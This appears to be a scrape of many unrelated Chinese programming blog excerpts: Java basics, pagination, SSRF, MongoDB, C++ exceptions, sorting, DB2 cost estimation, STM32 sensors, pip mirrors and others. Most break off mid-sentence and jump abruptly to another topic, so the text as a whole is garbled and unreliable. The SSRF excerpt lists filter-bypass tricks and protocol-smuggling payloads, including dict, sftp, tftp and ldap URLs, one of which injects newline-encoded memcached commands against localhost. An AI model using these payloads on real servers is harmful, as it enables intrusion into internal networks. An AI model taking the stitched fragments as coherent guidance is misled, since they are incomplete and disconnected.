char data[] = {'a', 'b', 'c'}; 2、Scanner是java.util包下的一个类,.next()是Sanner类下面的一个方法。.next()方法是接收用户输入的字符串,但Scanner类下面没有接收字符(.nextChar())的方法,因此产生出了此问题。
3、charAt用法:
charAt(int index),返回 char指定索引处的值。
4、Scanner.next().charAt(0)具体含义就是,获取用户输入的字符串中的第一个字符,其中也存在在隐式类型的转化,将字符串型转化成字符型。
2、代码实操讲解 如果要想获取用户输入字符串的第二个字符怎么办
如果有什么疑问的地方,欢迎评论区留言
文章目录 1 概述2 分页方案2.1 基于偏移量2.2 基于游标 3 重复数据处理3.1 基于时间3.2 基于热度3.3 基于推荐 1 概述 列表是互联网产品中很常见的一种内容排列形式,而且列表的数据集往往成千上万,一次性返回全量数据集的场景几乎不存在,所以出现了数据分页的需求。本文将总结常见的列表样式以及接口分页设计相关问题。
2 分页方案 常见的列表样式有卡片流、瀑布流、信息流等,我们可以总结为两种分页方式:
传统分页:通过显示的页码查询指定页的数据,多用于 PC 端数据变化不频繁的列表展示。流式分页:通过滚动方式隐式加载更多的数据,适用 PC 和移动端大多场景。 2.1 基于偏移量 基于偏移是最常见的分页接口设计,其原理是通过页号和页大小指定某一分页的数据。例如:
// 请求 { "page": 2, "count": 10 } // 响应 { "data": [], "total": 100 } 具体到数据库可以通过 offset + limit 实现:
select xxx from xxx where xxx order by xxx limit $count offset ($page-1)*$count; 或使用内存分页:
list = list.stream() .skip((page-1)*count) .limit(count) .collect(Collecters.toList()); 这种方案比较适合传统显示分页场景,有点是实现起来简单,支持分页跳转,支持向前、后翻页。
缺点也比较明显,主要来自两方面:
慢查询:通过数据库 limit 和 offset 实现的分页性能较差,偏移量越大越明显。动态数据:偏移量方案对数据变动支持也差,数据的插入或删除可能会导致数据重复或跳过,比如用户在查看第 10 页内容,此时第 1 页一条数据被删除,此时整个列表会往迁移,这会导致第 11 页跳过了 1 条数据。 2.
SSRF:服务器端请求伪造
SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击 者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统,正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统
与XSS漏洞、CSRF漏洞的区别
XSS漏洞发生在客户端
CSRF漏洞发生在攻击者
SSRF漏洞发生在服务端
原理:
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制,比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等
这里要重点与URL重定向漏洞区分,SSRF漏洞只是把目标网站打印出来而不是重定向过去
危害:
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的Banner信息等
2.攻击运行在内网或本地的应用程序
3.对内网Web应用进行指纹识别,通过访问默认文件实现(如Readme等文件)
4.攻击内外网的Web应用,主要是使用GET就可以实现的攻击(比如Struts2,SQLI等)
5.利用File协议读取本地文件等
常见的应用场景:
分享
在线翻译
图片加载与下载
图片、文章收藏功能
未公开的API实现以及其他调用URL的功能等
常见的绕过技巧:
利用@符号
利用localhost
利用短地址
利用特殊域名
利用DNS解析
利用Enclosed Alphanumerics
利用。(句号)
利用进制转换
其他协议
*协议绕过
Dict://
dict://<user-auth>@<host>:<port>/d:<word> SFTP://
ssrf.php?url=sftp://example.com:11111/ TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit 如有错误,欢迎批评指正[鞠躬]
日期时间类 一、JDK8之前日期时间二、JDK8中日期时间 一、JDK8之前日期时间 1. 获取时间:System.currentTimeMillis()
关于计算时间的标准可参考https://baijiahao.baidu.com/s?id=1732139602203523267&wfr=spider&for=pc
我国处于东八区,与中时区时差为8小时,也就是UTC+8。
2. 获取日期:java.util.Date
// java.util.Date // 1.无参构造 获取本地当前时间戳 以特定格式表示 Date date1 = new Date(); System.out.println(date1);// Fri Mar 24 14:07:18 CST 2023 // System.out.println(date1.toString()); long time = date1.getTime(); // 获取当前日期时间对应的时间戳,单位ms System.out.println(time); // 1679638038632 // 2.有参构造 Date date2=new Date(time); // 将输入的表示时间戳的time转换为特定格式输出 System.out.println(date2);// Fri Mar 24 14:07:18 CST 2023 System.out.println(date2.getTime()); // 1679638038632 2.1. 获取日期:java.sql.Date
继承于java.util.Date,专门用于表示数据库语言SQL中的日期类型;仅有有参构造,输入为表示时间戳(单位ms)的long型整数,构造以特定格式表示时间的Date对象; // java.sql.Date java.sql.Date date = new java.sql.Date(1679638038632L); System.out.println(date); // 2023-03-24 System.out.println(date.toString()); // 2023-03-24 System.
1.单表更新语句 db.collection.update({"name":"查询条件"},{$set:{"age":10}}) 2.单表根据条件批量更新 db.collection.find({"name":"查询条件"}).forEach( function(item){ db.collection.update({"_id":tiem._id},{$set:{"age":2}}) } ) 3.多表关联条件更新 db.collection_1.find({"name":"查询条件"}).forEach( function(item){ db.collection_2.update({"field":item.name},{$set:{"age":5}}) } )
目录
1.C语言传统的处理错误的方式
2. C++异常概念
3. 异常的使用
3.1 异常的抛出和捕获
3.2 异常的重新抛出
3.3异常安全 3.4 异常规范
4.自定义异常体系
5.C++标准库的异常体系 6.异常的优缺点
1.C语言传统的处理错误的方式 传统的错误处理机制:
1. 终止程序,如assert,缺陷:用户难以接受。如发生内存错误,除0错误时就会终止程序。
2. 返回错误码,缺陷:需要程序员自己去查找对应的错误。如系统的很多库的接口函数都是通
过把错误码放到errno中,表示错误
实际中C语言基本都是使用返回错误码的方式处理错误,部分情况下使用终止程序处理非常严重的
错误。
2. C++异常概念 异常是一种处理错误的方式,当一个函数发现自己无法处理的错误时就可以抛出异常,让函数的
直接或间接的调用者处理这个错误。
throw: 当问题出现时,程序会抛出一个异常。这是通过使用 throw 关键字来完成的。
catch: 在您想要处理问题的地方,通过异常处理程序捕获异常.catch 关键字用于捕获异
常,可以有多个catch进行捕获。
try: try 块中的代码标识将被激活的特定异常,它后面通常跟着一个或多个 catch 块。
如果有一个块抛出一个异常,捕获异常的方法会使用 try 和 catch 关键字。try 块中放置可能抛
出异常的代码,try 块中的代码被称为保护代码。使用 try/catch 语句的语法如下所示:
try { // 保护的标识代码 } catch (ExceptionName e1) { // catch 块 } catch (ExceptionName e2) { // catch 块 } catch (ExceptionName eN) { // catch 块 } 3.
尊敬的读者您好:笔者很高兴自己的文章能被阅读,但原创与编辑均不易,所以转载请必须注明本文出处并附上本文地址超链接以及博主博客地址:https://blog.csdn.net/vensmallzeng。若觉得本文对您有益处还请帮忙点个赞鼓励一下,笔者在此感谢每一位读者,如需联系笔者,请记下邮箱:zengzenghe@gmail.com,谢谢合作!
常用算法的时间复杂度比较如下:
冒泡排序(从小到大排序、稳定) void bubble_sort(T arr[], int n){ //两两比较,将最大的冒泡后置 //n个数只需要n-1趟即可排好序(最后两个元素只比较一次) for(int i = 0; i < n-1; i++){ //每一趟,最后面要保留排好序的数且j+1不能越界,所以限制j<n-i-1 for(int j = 0; j < n-1-i; j++){ if(arr[j] > arr[j+1]){ swap(arr[j], arr[j+1]); } } } } 选择排序(从小到大排序、不稳定)
void select_sort(T arr[], int n){ //从剩余序列中找出最小值下标,并交换至前面 //剩余数值中只有两个元素时,只需要比较一次,所以i < n-1 for(int i = 0; i < n-1; i++){ //min用于记录最小值索引,首先是剩余序列第一个值做最小参考 int min = i; //通过比较找出剩余序列中的最小值索引 for(int j = i+1; j < n; j++){ if(arr[j]<arr[min]) min = j; } //将最小值前置 swap(arr[i], arr[min]); } } 插入排序(从小到大排序,稳定,插入排序的一种改进版本希尔排序不稳定)
接口地址: https://api.microa.cc/api/netmusic
请求协议: HTTP、HTTPS
请求方式: GET/POST
返回格式: JSON
请求示例: https://api.microa.cc/api/netmusic?api_key=您的apiKey&id=2022196813
示例代码: { "code": 200, "msg": "success", "data": { "songId": 2022196813, "songName": "姑娘在远方", "songPic": "http://p2.music.126.net/6y-UleORITEDbvrOLV0Q8A==/5639395138885805.jpg", "songArtists": "柯柯柯啊", "artistsId": 48918817, "albumId": 159991634, "albumName": "姑娘在远方", "albumPicurl": "http://p2.music.126.net/69MfQfl-rA0IwEuRSCEyNw==/109951168307420773.jpg", "mp3url": "http://m801.music.126.net/20230323193229/39921917de4d2830dd5461b26e50f24d/jdymusic/obj/wo3DlMOGwrbDjj7DisKw/24885111237/d12c/362e/4ad7/74fde05bde3aecd3687c90db3658e10c.mp3", "lyrics": "[00:00.59]柯柯柯啊 - 姑娘在远方\n[00:01.84]词:柯柯柯啊\n[00:02.88]曲:柯柯柯啊\n[00:03.95]编曲:王灏\n[00:04.95]制作人:廖凌鹏\n[00:06.05]混音:何镭\n[00:07.04]录音:黄林洋\n[00:08.07]配唱监制:廖凌鹏\n[00:09.18]和声:顺儿\n[00:10.26]吉他:李国宏\n[00:11.48]统筹:廖凌鹏、冯昌榆\n[00:12.68]监制:刘家泽\n[00:13.80]制作公司:匠心音乐\n[00:14.80]OP:匠心音乐\n[00:20.36]可能我总不会忘\n[00:22.52]爱来爱去哭一场\n[00:24.78]失去原本模样\n[00:29.15]可是我总不会忘\n[00:31.46]爱来爱去空一场\n[00:33.63]消失人海茫茫\n[00:37.88]疯狂的发挥想象\n[00:39.99]书写着我的过往\n[00:42.16]伤痕被当作勋章\n[00:46.63]疯狂的奔向夕阳\n[00:48.90]乌云会消散离场\n[00:51.10]枯萎的花又绽放\n[00:57.49]回家探探 儿时的 那位姑娘\n[01:02.15]是否也像我一样远离了家乡\n[01:06.62]外面的世界充满虚伪和张扬\n[01:10.99]此刻的她 会不会偏离正确的方向\n[01:15.35]回家探探 曾经的 那位姑娘\n[01:19.92]是否也像我一样为生活奔忙\n[01:24.37]过去的所有充满期待和向往\n[01:28.81]此刻的她 会不会坚持曾经的理想\n[01:51.38]可能我总不会忘\n[01:53.60]爱来爱去哭一场\n[01:55.84]失去原本模样\n[02:00.24]可是我总不会忘\n[02:02.49]爱来爱去空一场\n[02:04.66]消失人海茫茫\n[02:08.97]疯狂的发挥想象\n[02:11.07]书写着我的过往\n[02:13.27]伤痕被当作勋章\n[02:17.96]疯狂的奔向夕阳\n[02:20.00]乌云会消散离场\n[02:22.12]枯萎的花又绽放\n[02:28.65]回家探探 儿时的 那位姑娘\n[02:33.30]是否也像我一样远离了家乡\n[02:37.59]外面的世界充满虚伪和张扬\n[02:42.09]此刻的她 会不会偏离正确的方向\n[02:46.40]回家探探 曾经的 那位姑娘\n[02:51.02]是否也像我一样为生活奔忙\n[02:55.56]过去的所有充满 期待和向往\n[02:59.90]此刻的她 会不会坚持曾经的理想\n[03:07.84]\n" } }
本篇博文讲一下mmdetection3d可视化 参考文献:
带你玩转 3D 检测和分割 (三):有趣的可视化 - 知乎 (zhihu.com)
Welcome to MMDetection3D’s documentation! — MMDetection3D 1.0.0rc4 文档
1、介绍 让我们看一下ChatGPT的回答[手动狗头]:
mmdetection3D是基于PyTorch框架的3D目标检测工具包,它是mmdetection的3D扩展版本。它提供了一个灵活且高效的框架,可以训练和测试各种3D目标检测算法,包括点云、体积数据和混合数据。
mmdetection3D的主要特点包括:
灵活的模块化设计:模块化设计使得用户可以轻松地构建自己的检测算法,并且可以很方便地替换各种组件,如骨干网络、头部网络和损失函数等。
高效的训练和推断:mmdetection3D支持分布式训练,可以在多GPU和多机器上进行训练。此外,它还支持多线程数据加载和多进程测试,从而提高了训练和推断的效率。
多样化的数据格式支持:mmdetection3D支持多种3D数据格式,包括点云、体积数据和混合数据。同时,它还支持多种数据增强方法,从而可以生成更多的训练数据,提高模型的鲁棒性。
容易使用的API:mmdetection3D提供了易于使用的API,用户可以轻松地使用它进行模型训练、测试和部署。
总之,mmdetection3D是一个强大且易于使用的3D目标检测工具包,它可以帮助研究人员和工程师快速地开发和部署各种3D目标检测算法。
mmdetection3d也提供了众多预训练模型,可以让我们很容易的了解一下3D目标检测的整个流程
2、需求 本次需求较为简单,主要是使用预训练模型,完成推理,并将结果绘制到图像中,便于可视化
结合实际,我需要得到的结果精度尽可能高,所以我选择了MVXNet这一多模态融合的检测方案
3、API分析 mmdetection3d提供了大量封装好的API,我们可以直接拿来用。本次使用到的API如下所示:
init_model: 通过配置文件、chekpoint_file(可选)构建一个模型
build_datasets:通过配置文件,构建数据集,得到包含所有数据的列表
show_multi_modality_result:将3D bbox投影到图像,并保存
inference_multi_modality_detector:构建多模态检测器,稍后会详细解释各个参数。如果不选用多模态方案,此处可以选择其他的API,有时间会写一下
4、实战 4.1 inference_multi_modality_detector解读 我们先来看一下最关键的inference_multi_modality_detector,它位于mmdet3d/apis/inference.py中,代码我就不贴了,我们看一下它的参数:
Args: model (nn.Module): The loaded detector. pcd (str): Point cloud files. image (str): Image files. ann_file (str): Annotation files. Returns: tuple: Predicted results and data from pipeline. "
WINDOWS 命令行执行post请求报错,如下所示
PS C:\Users\lenovo\go\demo> curl -X POST http://127.0.0.1:8199/api/post Invoke-WebRequest : 找不到与参数名称“X”匹配的参数。 所在位置 行:1 字符: 6 + curl -X POST http://127.0.0.1:8199/api/post + CategoryInfo : InvalidArgument: (:) [Invoke-WebRequest],ParameterBindingException + FullyQualifiedErrorId : NamedParameterNotFound,Microsoft.PowerShell.Commands.InvokeWebRequestCommand 执行这样请求就成功了
PS C:\Users\lenovo\go\demo> curl -Uri http://127.0.0.1:8199/api/post -Method 'POST' post Forms : {} Headers : {[Trace-Id, b878156af2d24f17f0e85d68ae9c82e6], [Content-Length, 4], [Content-Type, text/plain; charset=utf-8], [Date, Sun, 26 Mar 2 023 01:12:04 GMT]...} Images : {} InputFields : {} Links : {} ParsedHtml : mshtml.
11月17日,IBM资深软件工程师刘俊老师在DB2用户群进行了一次“浅析DB2优化器和成本模型”的线上主题分享。小编特别整理出其中精华内容,供大家学习交流。
嘉宾简介
IBM资深软件工程师
自2005年以来一直从事DB2性能优化的产品研发,包括Visual Explain、Optimization Service Center、Optimization Expert等,在DB2查询优化和性能调优技术上具有多年实践经验
帮助IBM技术支持团队处理客户提交的DB2性能问题,利用产品功能帮助客户快速解决性能故障
目前致力于开发IBM Data Server Manager以及Optim Query(workload) Tuner相关功能和部件,包括基于查询和应用的索引顾问,以及产品自身的性能优化等
曾在developerWorks中文和英文网站发表过数据库优化相关文章
演讲实录
本人在多年的工作中接触过很多DB2的用户,不管是初学者或者经验丰富的,他们或多或少对DB2的行为产生过疑问,尤其是在SQL语句的执行性能方面。他们经常问的问题有:明明这条SQL很简单,只需要返回很少的记录,为什么DB2花了这么长时间?为什么这个表上明明有主键索引,但是DB2好像根本没使用它?为什么这个SQL有时候快、有时候却慢得无法忍受,而区别只是谓词上的输入参数不同?……要解答这些问题,我们首先需要了解DB2内部是如何处理SQL语句,而处理SQL语句的关键部件就是优化器。
优化器是DB2的心脏和灵魂。从功能上讲,它等同于一个专家系统,是一个标准规则集合。不管数据实际上是如何存储和操作的,DB2和SQL都可以访问该数据。从物理存储特征中分离出数据访问准则,称之为“物理数据独立性”。DB2的优化器就是实现该物理数据独立性的组件。例如,在删除一些索引的情况下,DB2仍然可以通过表扫描的方式访问到数据,尽管可能不是那么高效。又如可以在表中新增加一列,DB2仍可操作这些数据而无需更改程序的代码。所有这些成为可能都是因为对数据的物理访问路径并不是由程序员在程序中硬编码,而是由DB2自动生成。我们将数据的访问路径叫做访问计划(Access Plan),它定义了按什么方式访问表,使用哪些索引,以及用何种连接(JOIN)方法来关联表或中间结果,最终获取到期待的结果。
DB2优化器
运行时的优化器需要根据许多信息,并包含着非常复杂的计算过程。若要使优化器的工作方式更加直观化些,可以将优化器想象成如下包含4个步骤的过程:
解析接收到的SQL语句,从语法和语义层面进行校验,确保正确的SQL输入。
分析当前的环境信息,生成最优的执行计划,其中可能也包含对原始SQL的改写。
创建计算机可读指令来执行优化的SQL。
存储它们以便后续的执行。
对于步骤2,DB2优化器是根据什么来判断SQL的最优执行计划的呢?实际上,优化器是一个基于成本的优化器(CBO),这意味着优化器将始终尝试为查询制定最少总体成本的执行计划。要实现这个目标,DB2优化器会应用查询成本公式,该公式对每条可能的执行计划的4个因素进行评估和权衡:CPU 成本、I/O 成本、DB2 系统目录中的统计信息和实际的SQL 语句。CPU的成本还可以进行细分,包括从缓存中找到数据页的时间(Page cost)和读取一个数据记录的同时使用谓词的时间(Scan cost)。我们下面先看一个简单的例子来理解成本估算:
这个例子很简单,就是从表T1里面找到满足条件的C3的值,条件有两个:一个是C1 = 100,另一个是C1 > 10。T1这个表上有50个列,分别是C1、C2…C50。T1一共有100,000条记录,占用数据页5000。用DB2的统计数据表示就是:T1的CARD=100,000, T1的NPAGES=5000。对于这个查询中引用到的列一共有三个:C1和C2在WHERE字句里面的谓词中出现;C3在SELECT子句里出现。列出现的位置不同,对统计数据的需求也不同。通常情况下,优化器只需要谓词中出现的列的统计数据。在这个例子中,列C1一共有100个不同的值,列C2有1000个不同的值,其中次大值是1000,次小值是1。用统计数据来表示就是:C1的COLCARD=100,C2的COLCARD=1000,C2的HIGH2KEY=1000,C2的LOW2KEY=1。把这条查询格式化一下并且把统计数据都附加上去,如下:
现在按照DB2优化器的方法来进行成本估计。首先,优化器会在估计成本前产生多个访问计划。对于这条查询来说,基于用户的表和索引的定义,优化器可以选择全表扫描和索引扫描两种方法。在全表扫描的情况下,DB2需要访问这个表的所有数据页,假设访问每个数据页需要花I/O时间1ms,那么DB2总共花了5000ms把表的数据读取到缓存中。
接下来计算CPU时间。一共是5000个数据页在缓存中,当DB2做全表扫描时,CPU需要花时间从缓存中找到每一个数据页,假设每找一个花0.1ms,那么一共花了500ms的CPU时间(Page cost = 500ms)。CPU的另外一部分开销是读取一个数据记录的同时使用谓词的时间。不同类型的谓词需要的计算时间不一样,在这个例子里面,假设每个谓词的使用时间都是0.01ms,那么一共100,000记录所需要的时间就是100,000 x 2 x 0.01,一共2000ms (Scan cost = 2000ms)。从而最终估计出这条查询在使用全表查询的情况下的成本:
下面再来看在索引扫描的情况下估计的成本有何不同。首先,假设表T1有一个索引建在列C1上,索引名IX1。IX1上收集了一些基本的统计信息,例如索引的页节点占用的数据页(NLEAF)、索引的高度(NLEVEL)和索引键的不同值数(FirstKeyCard和FullKeyCard)。如下:
那么当DB2在进行索引扫描时,主要花的时间分成两个部分:一是扫描索引花的时间;二是通过索引里面存的RID(指向数据记录的指针)读取表记录的时间。索引本身存储是B+树的结构,DB2在扫描索引时是从根节点开始比较,然后一步步定位满足条件的值在哪个子树下面,最终定位到页节点。在这个过程中,DB2要访问的非叶节点数量等同于索引的高度NLEVEL。之后DB2访问页节点的数量和满足条件的记录数有关,并非所有的叶节点都需要访问,那么究竟有多少的叶节点会被读取呢?这里就必须要用到计算谓词选择性的统计数据FirstKeyCard,等同于C1的COLCARD。在这个例子中,谓词C1 = 100的选择性是指表T1中满足这个谓词条件的记录数除以T1的总记录数的比例。DB2在通常条件下会认为表的数据分布是均匀的,那么对于列C1来说,如果C1有COLCARD个不同的值,那么每种值的比例就是1/COLCARD (Filter Factor, 简称FF),在这个例子中就是1/100,也就是说有1/100的表数据满足谓词条件。同样,在索引的叶节点里面存的RID也只需要读取1/100,也就是1/100 x NLEAF = 0.5 ~ 一个索引页。好了,这样扫描索引的IO时间确定了:
在进行索引扫描时,每访问一个非页节点,都需要和里面存储的键值进行比较以确定满足条件的子树,所以也花掉一些CPU时间,估算如下:
所以扫描索引一共需要的时间是:IO cost + CPU cost = 3.
1、background-cover是VSCode的背景安装,安装后可以使用VSCode的自定义背景图
2、Chinese (Simplified) (简体中文) Language Pack for Visual Studio Code,是VSCode端改为中文显示的插件。
3、C/C++,使用C语言编程时,需要用到该软件。
如何将VScoed的背景换色 更改默认的程序编码方式
在java开发中,经常遇到需要调用第三方提供的接口服务的需求,下面对实现http请求的方式进行浅入浅析并进行实例尝试。若是普通java工程推荐使用OkHttpClient,若是spring工程推荐使用RestTemplate。
在java开发中,实现访问第三方接口服务的常见方式:
通过JDK类 Java.net.HttpURLConnection; 通过commons-httpclient封装好的HttpClient; 通过org.apache.httpcomponents封装好的CloseableHttpClient; 通过com.squareup.okhttp3封装好的OkHttpClient; 通过springboot中RestTemplate; HttpURLConnection JDK原生提供的net包,无需其他jar包,实例如下
public class HttpUrlConnectionClientUtil { /** * Http get请求 * @param httpUrl 连接 * @return 响应数据 */ public static String doGet(String httpUrl){ HttpURLConnection connection = null; InputStream is = null; BufferedReader br = null; StringBuffer result = new StringBuffer(); try { //创建连接 URL url = new URL(httpUrl); connection = (HttpURLConnection) url.openConnection(); //设置请求方式 connection.setRequestMethod("GET"); //设置连接超时时间 connection.setReadTimeout(15000); //开始连接 connection.connect(); //获取响应数据 if (connection.getResponseCode() == 200) { //获取返回的数据 is = connection.
文章目录 摘要一、简介1.GPIO简介2.红外避障传感器3.性能参数 二、硬件电路设计1.模块内部电路2.与单片机相连接电路 三、软件设计1.CubeMX配置2.CubeIDE代码 四、结果显示五、总结附录 摘要 本篇文章用STM32CubeMX和STM32CubeIDE软件编程,主控芯片为STM32F103C8T6驱动红外避障传感器,通过红外避障传感器输出的电平来改变LED灯的状态,并且通过串口打印出红外避障传感器的状态信息。由于本次设计采用已设计好的红外避障模块,所以相对来说编程比较容易,只要知道红外避障传感器的原理和功能即可。通过本文可以学会红外避障传感器的原理以及使用和操作GPIO相关功能。
所用工具:
1、芯片: STM32F103C8T6
2、驱动设备:红外避障传感器
3、配置软件:STM32CubeMX
4、IDE: STM32CubeIDE
知识概括:
通过本篇文章您将学到:
1、红外避障传感器工作原理
2、GPIO相关操作与功能
一、简介 1.GPIO简介 STM32F1系列MCU一般有多个GPIO(General Purpose Input-Output)端口,每个端口由16个引脚,作为GPIO引脚使用时,我们可以输入或输出数字信号。STM32F103C8芯片有3个16引脚的GPIO端口,从PA到PC,这些GPIO端口都连接在AHB1总线上,最高时钟频率为72MHz,GPIO引脚能承受5V电压。每个引脚的输入输出数据可以单独设置。其内部有双向保护二极管,有可配置是否使用的上拉和下拉电阻,每个GPIO引脚可以配置多种工作模式。其内部结构图如图所示。
GPIO工作模式
1、作为GPIO输入
(1)输入浮空(Input floating),并且不使用上拉或下拉。
(2)输入上拉(Input pull-up),使用内部上拉电阻,引脚外部无输入时读取的引脚输入电平为高电平。
(3)输入下拉(Input pull-down),使用内部下拉电阻,引脚外部无输入时读取的引脚输入电平为低电平。
2、作为GPIO输出
(1)具有上拉或下拉的开漏输出(Output open-drain)。如果没有上拉或下拉,开漏输出1时引脚是高阻态,输出0时引脚是低电平,这种模式可用于共用总线的信号。
(2)具有上拉或下拉的推挽输出(Output push-pull)。如果没有上拉或下拉,推挽输出1时引脚为高电平,输出0时引脚为低电平。若需要增强引脚输出驱动能力,就可以使用上拉。
3、作为ADC或DAC引脚
(1)模拟(Analog 功能),作为GPIO模拟引脚,用于ADC输入或DAC输出引脚。
4、作为复用功能引脚
(1)具有上拉或下拉的复用功能推挽(Alternate function push-pull)
(2)具有上拉或下拉的复用功能开漏(Alternate function open-drain)
每个GPIO端口有4个32位寄存器,用于配置GPIO引脚的工作模式,1个32位输入数据寄存器和1个32位输出寄存器,还有复用功能选择寄存器等,所有未进行任何配置的GPIO引脚,在系统复位后处于输入浮空模式。
2.红外避障传感器 红外避障传感器,又叫红外对管传感器,即有两个红外管,分别是发送管和接收管,特点是对环境光线的适应能力强,干扰较小,便于安装等。红外避障传感器由一对红外光线发射管与红外光线接收管、传感器电路组成,引脚上有VCC、GND、OUT三个引脚。其工作原理是红外光线发射管发射红外光线,红外光线接收管接收红外光线,当没有接收到返回的红外光线时,OUT引脚输出高电平,当接收到返回的红外光线时,OUT引脚输出低电平。
图中的蓝色器件为传感器的检测距离调节器,所以当我们需要改变测量距离是只需要改变调节器的旋钮即可。该调节器可以调节传感器的检测距离,对于白色的物体,反射的最远距离最大,黑色物体,反射的最远距离最小,面积大的物体所能探测的距离达,面积小的物体所能探测的距离小。最短检测距离是2cm,最长检测距离可以达到20cm,工作电压较低,同时可以检测偏移角40°的物体。当传感器模块检测到障碍物或者有物体靠近时,其模块的绿色灯会亮起,同时OUT引脚会变低电平。因模块是非接触式传感器,所以具有响应快,精度高等特点。被广泛运用于避障或者循迹等场合。
3.性能参数 工作电压:3.3V-5V
工作电流:≥20mA
工作温度:-10℃到+50℃
检测距离:2-20cm
输出信号:接收到光线输出低电平,没有接收到光线输出高电平
附:传感器模块输出端口OUT可直接与IO口相连接,也可以直接驱动一个5V继电器。
二、硬件电路设计 1.模块内部电路 由于是已经封装好的模块,所以这部分了解即可。图中通过调节电位器的阻值来与LM393比较器做比较,从而达到调节测量距离的目的。
2.与单片机相连接电路 模块与单片机相连的电路也很简单,即将单片机的PB12引脚接到模块的OUT端口,模块VCC接3.3V,GND与单片机GND相连即可。
三、软件设计 1.CubeMX配置 (1)时钟配置
如下图分别为设置HSE(高速外部时钟)以及时钟树的配置。选定HSE之后芯片会自动选定两个引脚用来连接外部晶振,设置LSE之后配置时钟树,设置HCLK为72MHz(最高72MHz,也可以配置其他),其配置图如图所示。
(2)调试接口配置
如图所示,将调试接口设置的设置为SW模式,占用芯片两个引脚。
(3)GPIO配置
文章目录 摘要一、简介1.DHT11数字温湿度传感器2.DHT11性能参数2.DHT11数据结构2.DHT11传输时序 二、硬件电路设计1.模块内部电路2.与单片机相连接电路 三、软件设计1.CubeMX配置2.CubeIDE代码 四、结果显示五、总结附录 摘要 本篇文章用STM32CubeMX和STM32CubeIDE软件编程,主控芯片为STM32F103C8T6驱动DHT11温湿度传感器,根据时序编写温湿度传感器的驱动代码,将传感器检测到的温度和湿度通过串口发送到窗口调试助手。由于使用完整的DHT11模块,所以电路结构比较简单。通过本文可以学会DHT11数字温湿度传感器的原理以及时序结构,并且根据其时序编写驱动程序。
所用工具:
1、芯片:STM32F103C8T6
2、驱动设备:DHT11温湿度传感器
3、配置软件:STM32CubeMX
4、IDE:STM32CubeIDE
知识概括:
通过本篇文章您将学到:
1、DHT11温湿度传感器的工作原理
2、DHT11温湿度传感器的驱动程序
3、定时器编写微秒级延时函数
4、代码动态改变GPIO输入输出方向
一、简介 1.DHT11数字温湿度传感器 DHT11数字温湿度传感器是一款含有已校准数字信号输出的温湿度复合传感器。它应用专用的数字模块采集技术和温湿度传感技术,确保产品具有极高的可靠性与卓越的长期稳定性。传感器包括一个电阻式感湿元件和一个NTC测温元件,并与一个高性能8位单片机相连接。因此该产品具有品质卓越、超快响应、抗干扰能力强、性价比极高等优点。每个DHT11传感器都在极为精确的湿度校验室中进行校准。校准系数以程序的形式储存在OTP内存中,传感器内部在检测信号的处理过程中要调用这些校准系数。单线制串行接口,使系统集成变得简易快捷。超小的体积、极低的功耗,信号传输距离可达20米以上,使其成为各类应用甚至最为苛刻的应用场合的最佳选则。产品为 4 针单排引脚封装。连接方便,特殊封装形式可根据用户需求而提供。本文使用的是DHT11模块,其实物图如下所示:
2.DHT11性能参数 ⚫ 工作电压范围:3.3V-5.5V
⚫ 工作电流 :平均 0.5mA
⚫ 输出:单总线数字信号
⚫ 测量范围:湿度 20~90%RH,温度 0~50℃
⚫ 精度 :湿度±5%,温度±2℃
⚫ 分辨率 :湿度 1%,温度 1℃
2.DHT11数据结构 DHT11数字湿温度传感器采用单总线数据格式。即单个数据引脚端口完成输入输出双向传输。其数据包由5Byte(40Bit)组成。数据分小数部分和整数部分,一次完整的数据传输为40bit,高位先出。DHT11 的数据格式为:8bit 湿度整数数据+8bit 湿度小数数据+8bit 温度整数数据+8bit 温度小数数据+8bit 校验和。其中校验和数据为前四个字节相加。
传感器数据输出的是未编码的二进制数据。数据(湿度、温度、整数、小数)之间应该分开处理。例如,某次从 DHT11 读到的数据如图所示:
由以上数据就可得到湿度和温度的值,计算方法:
湿度=byte4.byte3=45.0 (%RH)
温度=byte2.byte1=28.0 ( ℃)
校验=byte4+byte3+byte2+byte1=73(=湿度+温度)(校验正确)
可以看出,DHT11的数据格式是十分简单的,DHT11和MCU的一次通信最大为3ms左右,建议主机连续读取时间间隔不要小于100ms。
2.DHT11传输时序 首先主机发送开始信号,即:拉低数据线,保持t1(至少 18ms)时间,然后拉高数据线t2(20-40us)时间,然后读取DHT11的响应,正常的话,DHT11会拉低数据线,保持t3(40-50us)时间,作为响应信号,然后DHT11拉高数据线,保持t4(40-50us)时间后,开始输出数据。DHT11 的数据发送流程如图所示:
DHT11 输出数字‘0’的时序如图所示:
# pip安装
```
python3: curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
python3 get-pip.py
python2:
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip2.py
python2 get-pip2.py
```
# pip国内的一些镜像
阿里云 http://mirrors.aliyun.com/pypi/simple/ 中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/ 豆瓣(douban) http://pypi.douban.com/simple/ 清华大学 https://pypi.tuna.tsinghua.edu.cn/simple/ 中国科学技术大学 http://pypi.mirrors.ustc.edu.cn/simple/
# 修改源方法:
## 临时使用: 可以在使用pip的时候在后面加上-i参数,指定pip源 eg: pip install scrapy -i https://pypi.tuna.tsinghua.edu.cn/simple
## 永久修改: linux: 修改 ~/.pip/pip.conf (没有就创建一个), 内容如下:
```
[global]
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
```
windows: 直接在user目录中创建一个pip目录,如:C:\Users\xx\pip,在pip 目录下新建文件pip.ini,内容如下
或者按照网友的建议:win+R 打开用户目录%HOMEPATH%,在此目录下创建 pip 文件夹,在 pip 目录下创建 pip.ini 文件, 内容如下
```
[global]
timeout = 6000
经常会碰到一些旧系统,使用System.out直接在控制台输出日志,然后再用命令行重定向的方法把日志写到文件中,这个方法主要问题是日志会越来越大,要经常手动删除。
今天我们就把System.out的输出加到logback的日志文件中,由logback来管理这些日志。
直接上代码,一都在代码和注释中了。
